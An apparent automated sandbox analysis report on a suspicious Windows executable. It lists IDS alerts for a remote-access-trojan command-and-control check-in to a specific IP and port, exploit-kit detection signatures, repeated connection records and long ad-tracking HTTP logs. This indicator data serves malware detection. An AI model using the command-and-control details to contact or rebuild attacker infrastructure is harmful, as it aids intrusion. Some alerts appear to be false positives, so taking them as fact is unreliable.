Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe	Code function: 0_2_00007FF77B1F6714 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF77B1F6714

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49895 -> 8.212.101.195:1122
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49930 -> 8.212.101.195:1122

Source: unknown

Network traffic detected: DNS query count 35

Source: global traffic

TCP traffic: 192.168.2.4:49895 -> 8.212.101.195:1122

Source: Joe Sandbox View	IP Address: 91.228.74.200 91.228.74.200
Source: Joe Sandbox View	IP Address: 54.154.234.207 54.154.234.207
Source: Joe Sandbox View	IP Address: 63.140.62.222 63.140.62.222

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50597 -> 104.244.42.67:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50775 -> 188.125.88.204:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50738 -> 188.125.88.204:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.102
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.102
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.117
Source: unknown	TCP traffic detected without corresponding DNS query: 2.16.168.117
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195
Source: unknown	TCP traffic detected without corresponding DNS query: 8.212.101.195

Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735476923217 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dest5.html?d_nsid=0 HTTP/1.1Host: mscom.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=81699440500871430363688403270984381028&ts=1735476925721 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735476923217 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=81699440500871430363688403270984381028&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%0163539283e80441aa9dfff040b635d212%012&ts=1735476928112 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedAccept: /Origin: https://www.microsoft.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=81699440500871430363688403270984381028&ts=1735476925721 HTTP/1.1Host: msftenterprise.sc.omtrdc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485
Source: global traffic	HTTP traffic detected: GET /365868.gif?partner_uid=81980359511806646913714319239841733483 HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D358%26dpuuid%3D%24UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=ODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODM= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODMQABoNCMONxbsGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=7Duni9Is6QKMFg6L/mqucNLRKA4yKjzeBAXndzPoDRI=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=BZXHKZql-2YMKk-7V-hqTl77N6wfEL1GYZbNGSUayoQMp4BmPQQC6aHR3SlKXRTYDc0J4sq13dIHO3Fz88aU4HIql9-ITc2_buK9aDLmeZk.; receive-cookie-deprecation=1; uuid2=7919660468872361886
Source: global traffic	HTTP traffic detected: GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=81699440500871430363688403270984381028&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%0163539283e80441aa9dfff040b635d212%012&ts=1735476928112 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=779416a4c94a11361c21809cfac65e3347c1e49f6529a35cccf14d681b05f925b0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=7919660468872361886 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=411&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=ODE5ODAzNTk1MTE4MDY2NDY5MTM3MTQzMTkyMzk4NDE3MzM0ODM=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=81980359511806646913714319239841733483&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=771&dpuuid=CAESEIv6GK4jHao86K5Dl2BpM8w&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=992&dpuuid=12uyav2s7qrz9 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=782&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1Host: cms.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=aam&gdpr=0&gdpr_consent=&domain=www.microsoft.com&ttd_tpi=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://mscom.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=1583541f-3b09-4660-8f24-5ee8afc5ad60; TDCPM=CAEYBSgCMgsItoaM4tqE1D0QBTgB
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=779416a4c94a11361c21809cfac65e3347c1e49f6529a35cccf14d681b05f925b0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=358&dpuuid=7919660468872361886 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579
Source: global traffic	HTTP traffic detected: GET /i/adsct?p_user_id=81980359511806646913714319239841733483&p_id=38594 HTTP/1.1Host: analytics.twitter.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: personalization_id="v1_qINRniee1m6dmxnwCWM25w=="
